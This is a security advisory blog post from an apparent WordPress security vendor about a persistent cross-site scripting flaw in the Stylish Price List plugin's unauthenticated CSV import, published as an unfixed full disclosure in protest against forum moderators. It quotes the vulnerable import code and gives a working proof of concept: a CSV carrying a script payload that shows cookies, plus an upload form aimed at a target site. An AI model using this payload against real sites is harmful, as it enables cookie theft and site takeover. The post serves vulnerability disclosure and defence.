Our Proactive Monitoring Caught a Persistent XSS Vulnerability in the WordPress Plugin Stylish Price List
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a one of those vulnerabilities, a persistent cross-site scripting (XSS) vulnerability in the plugin Stylish Price List.
We now are also running all the plugins used by customers through that on a weekly basis to provide additional protection for our customers.
We tested and confirmed that our new firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Persistent Cross-Site Scripting (XSS)
Our monitoring system flagged code in the plugin’s import/export functionality that is handled in the file /admin/tabs/views/tabs-form/backup-restore.php. Presumably this functionality is only intended to be accessed by Administrators, though we couldn’t find where it was accessible through the plugin’s admin pages. Instead, though, the functionality runs whenever a WordPress page is loaded and the plugin is active, as the file is loaded by the plugin’s main file:
48 | require_once SPL_DIR . '/admin/tabs/views/tabs-form/backup-restore.php'; |
The import code, which follows, lacks any security checks beyond checking that the import file being sent with a request has a .csv extension:
79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | if(isset($_POST['restore'])){ $dir = plugin_dir_path( __FILE__ ); $allowed = array('csv'); $filename = stripDotsFromFilename($_FILES['importtocsv']['name']); $tmp_filename = $_FILES["importtocsv"]["tmp_name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed)) { // show error message $message = 'Invalid file type, please use .CSV file!'; }else { move_uploaded_file($tmp_filename, $dir."upload-csv/" . $filename); $file = $dir."upload-csv/" . $filename; $file = fopen($file, "r"); // echo $randnum = rand(1000000000,9999999999); $file_data= array(); while (($emapData = fgetcsv($file, 10000, ",")) !== FALSE) { $file_data[] = $emapData; // /*$sql = "INSERT into tableName(name,email,address) values('$emapData[0]','$emapData[1]','$emapData[2]')"; mysql_query($sql);*/ } $catdata=json_decode($file_data[1][21],1); //echo "<pre>"; print_r($catdata); $rand_num=rand((int)1000000000,(int)9999999999); $data = array( 'list_name'=>($file_data[1][0]).' restored', 'tab_style'=>$file_data[1][1], 'default_tab'=>$file_data[1][2], 'all_tab'=>$file_data[1][3], 'toggle_all_tab'=>$file_data[1][4], 'toggle'=>$file_data[1][5], 'style_cat_tab_btn'=>$file_data[1][6], 'price_list_desc'=>$file_data[1][7], 'title_font_size'=>$file_data[1][8], 'title_color_top'=>$file_data[1][9], 'list_name_font'=>$file_data[1][10], 'tab_font_size'=>$file_data[1][11], 'title_color'=>$file_data[1][12], 'title_font'=>$file_data[1][13], 'service_font_size'=>$file_data[1][14], 'service_color'=>$file_data[1][15], 'desc_font'=>$file_data[1][16], 'hover_color'=>$file_data[1][17], 'service_price_font_size'=>$file_data[1][18], 'price_color'=>$file_data[1][19], 'price_font'=>$file_data[1][20], 'category'=>$catdata, 'title_font-weight'=>$file_data[1][22], 'tab_font-weight'=>$file_data[1][23], 'service_font-weight'=>$file_data[1][24], 'service_price_font-weight'=>$file_data[1][25], 'service_description_font_size'=>$file_data[1][26], 'service_description_color'=>$file_data[1][27], 'service_description_font'=>$file_data[1][28], 'description_font-weight'=>$file_data[1][29], 'tab_description_font_size'=>$file_data[1][30], 'tab_description_color'=>$file_data[1][31], 'tab_description_font'=>$file_data[1][32], 'tab_description_font-weight'=>$file_data[1][33], 'font_source'=> $file_data[1][36], 'field_id'=>$rand_num, 'id'=>$rand_num); update_option( 'spl_cats_'.$rand_num, $data ); |
That would limit a hacker from uploading malicious .php files.
As confirmed by the proof of concept below, an attacker could import malicious JavaScript code through the import functionality, which is then at least loaded on admin pages of the website. That is persistent cross-site scripting (XSS).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown when access the plugin’s main admin page, /wp-admin/admin.php?page=spl-tabs.
Save the following contents to a file with a .csv file and then upload using the form below.
"List Name","Tab Style","Default Tab","All Tab","Toggle All Tab",Toggle,"Style Cat Tab Btn","Price List Desc","Title Font Size","Title Color Top","List Name Font","Tab Font Size","Title Color","Title Font","Service Font Size","Service Color","Desc Font","Hover Color","Service Price Font Size","Price Color","Price Font",category,"Title Font Weight","Tab Font Weight","Service Font Weight","Service Price Font Weight","Service Description Font Size","Service Description Color","Service Description Font","Description Font Weight","Tab Description Font Size","Tab Description Color","Tab Description Font","Tab Description Font Weight","Field Id",ID,"Font Source" <script>alert(document.cookie);</script>,,,All,1,0,0,,,#000,Open-Sans,,#000,Open-Sans,,#000,Open-Sans,#000,,#000,Open-Sans,"{""1"":{"""":"""",""description"":"""",""1"":{""service_name"":"""",""service_regular_price"":"""",""service_long_description"":"""",""service_price"":"""",""service_desc"":"""",""service_button"":"""",""service_button_url"":"""",""service_image"":""""}}}",,,,,,#000,Open-Sans,,,#000,Open-Sans,,,,use-googlefont
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]" enctype="multipart/form-data" method="POST"> <input type="hidden" name="restore" value="proof of concept" /> <input type="file" name="importtocsv" /> <input type="submit" value="Submit" /> </form> </body>